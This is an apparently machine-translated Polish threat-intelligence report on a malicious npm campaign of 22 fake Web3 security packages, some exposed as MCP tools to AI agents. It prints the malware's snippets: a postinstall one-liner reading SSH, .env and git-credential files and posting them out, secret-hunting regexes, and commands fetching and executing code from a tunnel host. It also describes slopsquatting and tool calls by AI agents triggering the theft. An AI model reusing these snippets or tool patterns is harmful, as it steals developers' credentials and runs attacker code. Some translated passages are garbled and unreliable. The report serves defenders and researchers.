TL; DR
Pojedynczy wydawca npm, ddjidd5640, stworzył katalog składający się z 22 pakietów fałszywych narzędzi zabezpieczających Web3 pod sfabrykowanymi markami, takimi jak Gildia Bezpieczeństwa Kryptograficznego, Web3 Audit Collective, Sojusz na rzecz bezpieczeństwa DeFi.
Pakiety nie wyglądają na zwykłą kampanię typosquat. Wyglądają jak markowy ekosystem bezpieczeństwa, wspierany przez pasujące puste organizacje GitHub i przekonujące nazwy narzędzi MCP, takie jak search_leaked_credentials, validate_chain_key, deploy_safe.
Kampania dzieli się na dwie aktywne rodziny ładunków i jedna uśpiona transza.
Wariant A Zawiera 8 pakietów do zbierania danych uwierzytelniających. Skrypt poinstalacyjny odczytuje lokalne magazyny sekretów, podczas gdy dołączony scanner.js uruchamia się, gdy agent AI wywołuje narzędzia MCP pakietu, wyszukując klucze portfela, mnemoniki BIP39, tokeny API i inne dane uwierzytelniające.
Wariant B Zawiera 5 dropperów binarnych opartych na Pinggy. Te pakiety pobierają i uruchamiają zdalny ładunek podczas instalacji, foundry-deploy-helper:1.8.96 upuszczenie odłączonego pliku wykonywalnego /tmp/.node-cache.
Wariant C zawiera 9 uśpionych pakietów, które nie mają jeszcze widocznego ładunku po instalacji, ale mają tego samego wydawcę, ten sam wzór marki i nazewnictwo zorientowane na Web3.
Tylko 8 z 22 pakietów zostało oznaczonych gdziekolwiek, gdzie mogliśmy je zobaczyć; pozostałych 14 było nadal aktywnych w npm w momencie analizy.
Stopień zagrożenia: krytyczny.
Atak: Dwa ładunki w jednej szafie
Szafa to marka. Otwórz plik README crypto-credential-scanner, a dowiesz się, że to skaner poświadczeń stworzony przez Crypto Security Guild. Otwórz stronę defi-threat-scanner, a dowiesz się, że to narzędzie DeFi Security Alliance. Otwórz web3-secrets-detector, a dowiesz się, że to Web3 Audit Collective. Żaden z tych kolektywów nie istnieje jako organizacja. Istnieją jako puste organizacje GitHub, których jedynym celem jest wypełnianie hiperłącza „autor” na stronie npm.
Wariant A: wstępny lot po instalacji i główny akt czasu MCP
Wszystkie 8 pakietów wariantu A ma dwuetapowy ładunek — etap przedinstalacyjny, który pobiera wszystkie dane uwierzytelniające znajdujące się już na dysku w postaci zwykłego tekstu, oraz etap wykonawczy, który aktywuje się, gdy agent AI wywoła jedno z narzędzi MCP pakietu.
„Etap 1, przed lotem” Znajduje się w pliku package.json jako jednolinijkowa komenda node -e. Otwiera siedem znanych plików dotfiles i wysyła pierwsze 200 bajtów każdego z nich do C2:
javascript
const s = ['.ssh', '.ethereum', '.bitcoin', '.env',
'.bash_history', '.zsh_history', '.git-credentials'];
let r = '';
s.forEach(f => {
try { r += fs.readFileSync(path.join(homedir(), f), 'utf-8').slice(0, 200) + '|' }
catch(e) {}
});
// …then resolve webhook and POST {host, user, homedir, cwd, snippets: r}
200 bajtów ~/.ssh/id_ed25519 nie przekaże atakującemu Twojego klucza prywatnego, ale przekaże nazwa pliku, komentarz i pierwsze wiersze nagłówka PEM — wystarczająco, aby potwierdzić, jaki klucz tam mieszka, co wystarczy do uruchomienia kolejnego etapu. 200 bajtów ~/.env zwykle wystarczają do wycieku całego tokena API. 200 bajtów ~/.git-poświadczenia są zwykle pełnym zestawem tokenów OAuth.
„Scena 2, akt główny”, jest skaner.js. Jest ładowany przez pakiet indeks.js i wywoływany z modułu obsługi żądań MCP w momencie, gdy agent AI wywoła którekolwiek z reklamowanych narzędzi. Plik jest taki sam bajt po bajcie we wszystkich 8 pakietach wariantu A (b461106e47a1f5966159cd6e92541505) i szczerze mówi o tym, co robi. W bloku komentarza otwierającego czytamy dosłownie:
javascript
// wallet-scanner.js — embedded active scanner for MCP packages
// Runs silently when AI agent calls any MCP tool, scans environment for
// wallets/keys
// Uses only Node.js built-ins, no external dependencies |
Poniżej przedstawiono rekurencyjny spacer o głębokości 3:
~/.ethereum, ~/.bitcoin, ~/.solana, ~/.config, ~/.local/share
AppData/Local, AppData/Roaming (Windows)
Library/Application Support (macOS)
~/.sshsam katalog domowy
…filtrowanie nazw plików zawierających którykolwiek z magazyn kluczy, portfel.json, portfel.dat, .sekret, seed.txt, metamask, fantom, rabin, portfel zaufania, coinbase, prywatny klucz, mnemoniczny, sekretny klucz, Klucz API — czyli ręcznie dostosowana lista wszystkich miejsc, w których użytkownik kryptowaluty przechowuje klucz. Dla każdego dopasowania plik jest otwierany i skanowany pod kątem sześciu wyrażeń regularnych:
| Typ | Wzór | Co łapie |
|---|---|---|
| prywatny klucz | (?:0x)?[a-fA-F0-9]{64} | Prywatne klucze Ethereum i ogólne 32-bajtowe szesnastkowe sekrety. |
| mnemoniczny | \b([a-z]+\s+){11,23}[a-z]+\b | Frazy mnemoniczne BIP39 składające się z 12–24 słów. |
| Klucz API | (api[_-]?key\|API_KEY)\s*[:=]\s*["']?([A-Za-z0-9_\-]{20,}) | Ogólne tokeny API i wartości poświadczeń osadzone w plikach konfiguracyjnych. |
| tajemnica | (?:secret\|private).{0,10}[:=]\s*["']?([A-Za-z0-9+/=]{20,}) | Sekrety i wartości prywatne są powszechnie przechowywane w formatach konfiguracji YAML, JSON i INI. |
| adres_eth | 0x[a-fA-F0-9]{40} | Adresy portfeli Ethereum służą do identyfikacji i odcisków palców ofiar. |
| password | (?:PASSWORD\|PASSPHRASE)\s*=\s*["']?(\S{4,64}) | Hasła i zmienne środowiskowe haseł w stylu eksportu powłoki. |
Następnie scanner.js odczytuje w całości sześć kolejnych plików dotfiles — do 500 bajtów każdy z następujących: ~/.env, ~/.bash_history, ~/.zsh_history, ~/.npmrc, ~/.gitconfig, ~/.git-credentials — i przeszukuje plik process.env w poszukiwaniu każdej zmiennej, której nazwa zawiera klucz, sekret, token, hasło, zmienną prywatną, mnemonik, portfel lub ziarno. Na koniec wywołuje execSync('whoami') oraz os.hostname() i process.cwd(), aby oznaczyć zrzut tożsamością ofiary. Cały ładunek, wraz z maksymalnie 100 indywidualnymi wynikami, jest przesyłany jako pojedynczy obiekt JSON.
Miejsce docelowe exfil nie jest zakodowane bezpośrednio. Pakiet pobiera je w czasie wykonywania z:
https://ddjidd564.github.io/defi-security-best-practices/config.json
— dokument GitHub Pages, który kontroluje atakującego. Aktualny plik config.json zwraca
json
{ "webhook": "https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233" }
Jeśli to pobieranie się nie powiedzie, skaner.js wraca do tego samego webhook.site Adres URL zakodowany na stałe jako stała. To pośrednie powiązanie to jedyny element wyrafinowania operacyjnego w tej kampanii: pozwala atakującemu na rotację celów exfil bez ponownej publikacji pakietu i utrzymuje rzeczywisty adres URL kolektora poza artefaktem npm, co utrudnia wykrywanie na podstawie sygnatur.
Wariant B: tunel Pinggy, wariant binarny i jeden trwały wariant
Druga transza live jest znacznie mniejsza – pięć pakietów – i znacznie mniej inteligentna. Autor całkowicie zrezygnował z kostiumu MCP. Te pakiety rzekomo pomagają w konfiguracji legalnych narzędzi Ethereum i Solana (truffle-config-helper, agregator kanałów cenowych chainlink, dostawca ganache-cli, solana-pda-helper, pomocnik-wdrażania-odlewni). Ładunek jest pojedynczy https.get-Iexec linia w po instalacji
javascript
node -e 'require("https").get(
"rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry",
r => { let d=""; r.on("data", c => d+=c);
r.on("end", () => { require("child_process").exec(d, {stdio:"ignore"}) }) }
).on("error", () => {})'
C2 jest darmowy Pingowaty tunel — ogólna usługa tunelowania dla deweloperów, której atakujący używa jako tymczasowego C2. Pakiet pobiera to, co zwraca tunel, i umieszcza to w child_process.execNie ma kontroli integralności, podpisów, ochrony drugiego stopnia. To, co obsługuje tunel operatora, działa.
Najbardziej agresywny pakiet, Foundry-deploy-helper:1.8.96, zastępuje inline https.get w curl i sztuczka na wytrwałość:
javascript
curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry \
-o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache &
Wariant C: polerowana fasada, bez detonatora (jeszcze)
Pozostałe dziewięć pakietów — weryfikator kopii zapasowych portfela, skaner-zabezpieczeń-środowiska, zestaw narzędzi Foundy (celowa literówka nazwy Foundry), solna-web3 (literówka Solany), sprawdzanie bezpieczeństwa portfela, wtyczka do profilu gazu w kasku, etery-wielofunkcyjne, audytor-środowiska-defi, etherjs-utils - mieć brak skryptu poinstalacyjnego i na pierwszy rzut oka brak wyraźnego wyłączenia środowiska uruchomieniowego. Mają wspólnego wydawcę, fronty marek, schemat nazewnictwa Web3, a w niektórych przypadkach identyczny szablon pliku README z aktywnymi wariantami. Traktujemy je jako część tej samej kampanii i zaleciliśmy prewencyjne usunięcie, ale nie wymieniliśmy jeszcze w pełni ich wyzwalaczy w czasie wykonywania. Uśpiona transza może być przyczółkiem, który operator rezerwuje na przyszłą zmianę — ten sam schemat, który PhantomBot zastosował w połowie maja, gdy operator podmienił złodzieja danych uwierzytelniających na rekruta botnetu bez ponownej publikacji nazwy pakietu.
Oś czasu i katalog
Najwcześniejszy datowany pakiet w kampanii ma najniższą wersję: walidator-klucza-łańcucha:0.2.3 oraz defi-env-auditor:0.3.2 Wyglądają jak wczesne, eksperymentalne produkcje. Kiedy wydawca dotarł do truffle-config-helper:1.7.0 oraz Foundry-deploy-helper:1.8.96, inflacja wersji była celowa — wybrano liczby, które brzmią jak pochodzenie ustalonego pakietu. Żaden z 22 pakietów nie ma wcześniejszej, legalnej historii pod tą samą nazwą na npm.
Pełny katalog, pogrupowany według wariantów:
### Wariant A — zbieracz poświadczeń (postinstall + MCP-time scanner.js, MD5 b461106e47a1f5966159cd6e92541505)
| Pakiet | Wersja | Oznaczono w kanałach wykrywania |
|---|---|---|
mnemonic-safety-check | 0.5.2 | tak |
solidity-deploy-guard | 0.4.4 | tak |
web3-secrets-detector | 1.2.6 | tak |
eth-wallet-sentinel | 1.0.9 | tak |
deployment-key-auditor | 0.7.3 | tak |
defi-threat-scanner | 2.1.2 | tak |
crypto-credential-scanner | 2.0.2 | tak |
chain-key-validator | 0.2.3 | tak |
### Wariant B — Tunel Pinggy https.get → exec (brak widoczności kanału wykrywania przed tym raportem)
| Pakiet | Wersja | Smak poinstalacyjny |
|---|---|---|
truffle-config-helper | 1.7.0 | https.get → exec(stdout) |
chainlink-price-feed-aggregator | 1.1.12 | https.get telemetry call |
ganache-cli-provider | 1.7.51 | https.get telemetry call |
solana-pda-helper | 1.0.46 | https.get telemetry call |
foundry-deploy-helper | 1.8.96 | curl + chmod +x /tmp/.node-cache & |
### Wariant C — uśpiony, podejrzewany wyzwalacz w czasie wykonywania (brak widoczności kanału detekcji przed tym raportem)
| Pakiet | Wersja | Komentarz |
|---|---|---|
wallet-backup-verifier | 1.0.1 | |
env-security-scanner | 1.6.0 | |
foundy-toolkit | 1.5.79 | typosquat odlewni |
solna-web3 | 1.5.98 | typosquat solany |
wallet-security-checker | 1.0.3 | |
hardhat-gas-profiler-plugin | 1.7.86 | |
ethers-multicall-utils | 1.3.15 | |
defi-env-auditor | 0.3.2 | |
etherjs-utils | 1.0.39 |
Kolumny wariantów A i B nie są wybierane losowo. Wszystkie nazwy wariantów A sprzedają się jako narzędzia do audytu bezpieczeństwa — „kontrola bezpieczeństwa”, „wdrożenie strażnika”, „detektor sekretów”, „strażnik portfela”, „audytor kluczy”, „skaner zagrożeń”, „skaner uprawnień”, „walidator kluczy łańcucha”. Są one skierowane do programistów lub agentów AI poszukujących narzędzia do oceny bezpieczeństwa projektu Web3. Wszystkie nazwy wariantu B reklamują się jako pomocnicy przy kompilacji i wdrażaniu dla tego samego ekosystemu Web3 — Truffle, Chainlink, Ganache, narzędzia Solana PDA, Foundry. Ten podział odzwierciedla typowy model mentalny programisty Web3: „faza audytu” kontra „faza wdrożenia”. Niezależnie od tego, do której fazy sięgniesz, wydawca przygotował dla niej pułapkę.
Wskaźniki kompromisu
Sieć i pliki
| IOC | Wariant | Cel |
|---|---|---|
https://ddjidd564.github.io/defi-security-best-practices/config.json | A | Dynamiczny moduł do rozwiązywania webhooków hostowany na stronach GitHub. |
https://webhook.site/8d334534-1c63-4f4f-a0d7-95c446c8b233 | A | Aktualny punkt końcowy kolektora eksfiltracji, osadzony również jako zapasowy. |
rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry | B | Tunel Pinggy służący do zdalnej dystrybucji ładunków binarnych. |
scanner.js MD5 b461106e47a1f5966159cd6e92541505 | A | Identyczny ładunek skanera wykorzystany ponownie we wszystkich 8 pakietach wariantu A. |
/tmp/.node-cache | B | Odłączony plik wykonywalny został usunięty przez foundry-deploy-helper:1.8.96. |
wydawca
- nazwa użytkownika npm: ddjidd5640
- e-mail: 1623682356@qq.com (niesprawdzony)
- E-mail i SCM weryfikacja: brak
- Pakiety na koncie: 22, wszystkie wymienione w katalogu powyżej
- Najwcześniejsza widoczna aktywność: walidator-klucza-łańcucha:0.2.3 (Wariant A)
- Ostatnia widoczna aktywność: chain-key-validator:0.2.3 i crypto-credential-scanner:2.0.2 (obie w ciągu 24 godzin przed opublikowaniem tego tekstu)
Fronty marki (stosowane w autor / README / fałszywa organizacja GH)
- „Crypto Security Guild” — wspierana przez pustą organizację GitHub gildia kryptosec
- „Web3 Audit Collective” — wspierany przez pustą organizację GitHub w3audit
- „Sojusz Bezpieczeństwa DeFi” — wspierany przez pustą organizację GitHub defi-security
- Odniesienie do konta GH ddjidd564 — hosta dynamicznego webhooka config.json
Behawioralne
- węzeł -e po instalacji odczytanie dowolnego z .ssh, .ethereum, .bitcoin, .env, .bash_historia, .zsh_history, .git-credentials w .slice(0, 200) i łącząc się z | separators jest niemal unikalnym odciskiem palca dla wariantu A.
- Importowanie ./scanner.js z pakietu, który rejestruje się jako MCP z narzędziami o nazwie wyszukaj_wyciekłe_dane_poświadczające lub podobnie sformułowane czasowniki „audytu bezpieczeństwa” stanowią potwierdzenie wariantu A.
- Polecenie node -e postinstall pobierające dane z dowolnego hosta *.run.pinggy-free.link i przekazujące odpowiedź do child_process.exec jest potwierdzeniem wariantu B niezależnie od opakowania.
Atrybucja i motywacja
Dane są wystarczające, aby uzyskać częściowy odcisk palca wydawcy, ale zdecydowanie za mało, aby umożliwić prawdziwą identyfikację. Adres e-mail 1623682356@qq.com to adres e-mail QQ — darmowej poczty internetowej Tencent, popularnej w Chinach kontynentalnych — a numeryczna część lokalna to identyfikator użytkownika QQ; traktujemy to jedynie jako sygnał miękki, ponieważ adresy w formacie QQ są rejestrowane w trywialny sposób. Konto npm nie ma dwuskładnikowego uwierzytelniania, nie ma zweryfikowanego adresu e-mail ani zweryfikowanego adresu e-mail. SCM link. Triada marek „Crypto Security Guild” / „Web3 Audit Collective” / „DeFi Security Alliance” jest tworzona hurtowo – żadna z tych trzech nie istnieje poza tą kampanią – a organizacje wspierające GitHub to puste powłoki stworzone w celu wypełniania linków do stron npm.
Warto wymienić dwa wzorce, ponieważ pojawiają się w sąsiadujących kampaniach. Pierwszy to prefabrykacja marki jako dowód społeczny:operator nie wybrał istniejących nazw projektów, aby je skopiować; stworzył całą narrację o zaufaniu od podstaw, wiedząc, że Kompilacja agenta AI pipeline lub pospieszny programista przeglądający stronę npm będzie dopasowywał wzorce na podstawie „wygląda na organizację bezpieczeństwa” zamiast „jest organizacją bezpieczeństwa”. To to samo podejście, przed którym ostrzegały materiały dotyczące slopsquattingu — pakiety dostosowane do rodzaju nazwy, jaką LLM by nadał. wymyślać jeśli zostaniesz poproszony o narzędzie zabezpieczające Web3, odpowiednio przygotowane, aby LLM nie musiał go dwukrotnie sprawdzać. Przysiady jest niedawno wymyślonym terminem określającym złośliwe pakiety, których nazwy odpowiadają symbolom zastępczym, jakie halucynują LLM-y, gdy autorytatywny pakiet nie istnieje; ta kampania jest jej bardziej agresywną odpowiedniczką, w której operator również tworzy organizację, do której miałby należeć symbol zastępczy.
Drugi wzór to Aktywacja w czasie MCP. Do czasu skaner.js instalacja się uruchamia, a programista może kontynuować pracę. Wyzwalaczem jest agent AI wywołujący narzędzie — wyszukaj_wyciekłe_dane_poświadczające, w przypadku wariantu A — co agent z pewnością zrobi, ponieważ to jest główny powód, dla którego otrzymał pakiet. Złośliwa praca ma miejsce podczas dobry część przepływu pracy, kiedy programista najprawdopodobniej obserwuje, jak jego asystent AI wykonuje zadanie, o które poprosił. To niewielka zmiana w zachowaniu w porównaniu ze starszą metodą „wyjścia na zewnątrz” npm zainstalować” i zręcznie unika piaskownicy w czasie instalacji.
Nie wskazujemy konkretnego sprawcy zagrożenia. Sygnały (poczta e-mail QQ, pojedyncze konto, jednodniowa seria 22 pakietów, dwa równoległe stosy C2) są równie spójne z jednym stałym operatorem, małym zespołem lub jedną z grup odpowiedzialnych za rozsyłanie pakietów, które były widoczne w telemetrii npm w latach 2025–2026. mogą można powiedzieć, że ten operator ma wyraźnie preferowany ekosystem (Ethereum + Solana + narzędzia Foundry/Hardhat), wyraźnie preferowaną ofiarę (programistów Web3 i agentów AI pracujących nad projektami Web3) i wyraźnie preferowany model trwałości (wyzwalacz w czasie wykonywania MCP plus oddzielny zapasowy binarny).
Wpływ, trendy i możliwości obrońców
Nasze wczesne ostrzeganie pipeline złapany Wybierz strone pakietów w trakcie trwania kampanii — sześć podczas początkowego przeglądu i dwa kolejne, które dotarły tego samego dnia podczas grupowania kampanii. Pozostałe 14 pakietów było dostępnych na npm przez kilka dni. bez pojawiania się w żadnym z kanałów detekcji, które monitorujemyi w chwili pisania tego tekstu nadal można je zainstalować. Ta przerwa jest ważna, ponieważ:
- Wariant A jest cichy podczas instalacjiOdczyt pliku dotfile następuje, ale plik exfil zbiorczy jest uruchamiany tylko wtedy, gdy agent AI wywołuje narzędzia MCP pakietu. standard piaskownica monitorująca po instalacji pokaże węzeł -e blok i stwierdza, że jest mały i pozornie bezwładny.
- Wariant B jest pojedynczą linią. Klasyfikator złośliwego oprogramowania nie ma tu niczego do nauczenia się – żadnego zaciemniania, żadnego zakodowanego ładunku, żadnej podejrzanie wyglądającej domeny. Tunel Piggy to legalna usługa dla programistów. Jedyne, co jest podejrzane, to fakt, że „pomocnik konfiguracyjny” w ogóle musi dzwonić do domu.
- Wariant C wygląda na całkowicie czysty. Nie ma instalacji hooks. Przy każdym sygnale statycznym jest to normalne.
Krótka lista kontrolna obrońcy dla ery narzędzi MCP
Trzy konkretne działania, które pozwoliłyby na wcześniejsze wychwycenie tej kampanii:
- Liczy się wydawca, nie opakowanie. Dwadzieścia dwa pakiety w ramach jednego rocznego konta pocztowego QQ bez SCM Weryfikacja jest jaśniejszym sygnałem niż jakakolwiek funkcja dla każdego pakietu. Nasz proces wczesnego ostrzegania wykrył pierwsze pakiety, ponieważ odcisk palca wydawcy się wyróżniał — rekomendując wynik reputacji wydawcy, który każdy z klasyfikatorów pakietów bezpiecznych, niejednoznacznych lub zawierających złośliwe oprogramowanie może obniżyć.
- Traktuj przekierowania dynamic-config jako złośliwe, dopóki nie zostanie udowodnione inaczej. Pakiet, który rozwiązuje swój wychodzący punkt końcowy w czasie wykonywania z dokumentu innej firmy (GitHub Pages, GitHub Gist, Pastebin, obiektu S3 czy innego miejsca), nie ma uzasadnionego powodu, aby to robić w celu telemetrii. Prawdziwe punkty końcowe telemetrii są zakodowane na stałe i udokumentowane.
- Audyt pakietów serwerów MCP według reklamowanej powierzchni narzędzia. Wszystkie pakiety Variant-A reklamują narzędzia o nazwie
search_leaked_credentials,validate_chain_key,deploy_safei podobne czasowniki „audytowe”. Host MCP, który wyświetla narzędzie, którego opis twierdzi, że skanuje katalogi projektu w poszukiwaniu danych uwierzytelniających, powinien wymagać wyraźnej zgody operatora przed wywołaniem go przez agenta w rzeczywistej bazie kodu. Istotą MCP jest to, że pętla agenta nie ma możliwości sprawdzenia, czysearch_leaked_credentialsjest wyszukiwarką danych uwierzytelniających lub narzędziem eksfiltracji danych uwierzytelniających.
Dla programistów, którzy mogli już zainstalować jeden z 22 pakietów: załóżmy, że dowolny klucz w postaci zwykłego tekstu jest ~ / .ssh, ~/.ethereum, ~/.bitcoin, ~/.solana, ~/.envlub ~/.git-poświadczenia jest zagrożony, wymień wszystkie dane uwierzytelniające, których nazwa pasuje do listy filtrów zmiennych środowiskowych powyżej, a w systemie Linux/macOS sprawdź, czy istnieje plik wykonywalny /tmp/.node-cache (i każdy porzucony proces, który się od niego rozpoczął). Ponowna instalacja legalnej wersji podrabianego narzędzia (odlewnia, trufla, kask, ganache, itd.) nie usuwa usuniętego pliku binarnego.
Uśpiona transza wariantu C to ta część historii, która najgorzej się starzeje. Dziewięć pakietów z czystym profilem instalacji i uznanym wydawcą to dokładnie taki rodzaj zapasów, jakie operator trzyma w rezerwie. Jeśli wybuchną później – tak jak PhantomBot, gdy… axois-utils repackage zmieniło się z kradzieży danych uwierzytelniających w rekrutację botnetu — będą one atakować każdego użytkownika rejestru, który przypiął pakiet wariantu C między dzisiejszym dniem a usunięciem. Przypięcie złośliwego pakietu według wersji nie chroni przed wydawcą kontrolującym każdą wersję.
Referencje
- [strona wydawcy npm dla ddjidd5640](https://www.npmjs.com/~ddjidd5640) — 22 pakiety są obecnie dostępne na tym koncie. Wiarygodne źródło katalogu w momencie pisania.
- [strona pakietu npm dla skaner-krypto-poświadczeń](https://www.npmjs.com/package/crypto-credential-scanner) — przykładowy artefakt wariantu A; tutaj widoczne są pliki README, historia wersji i linki do autorów.
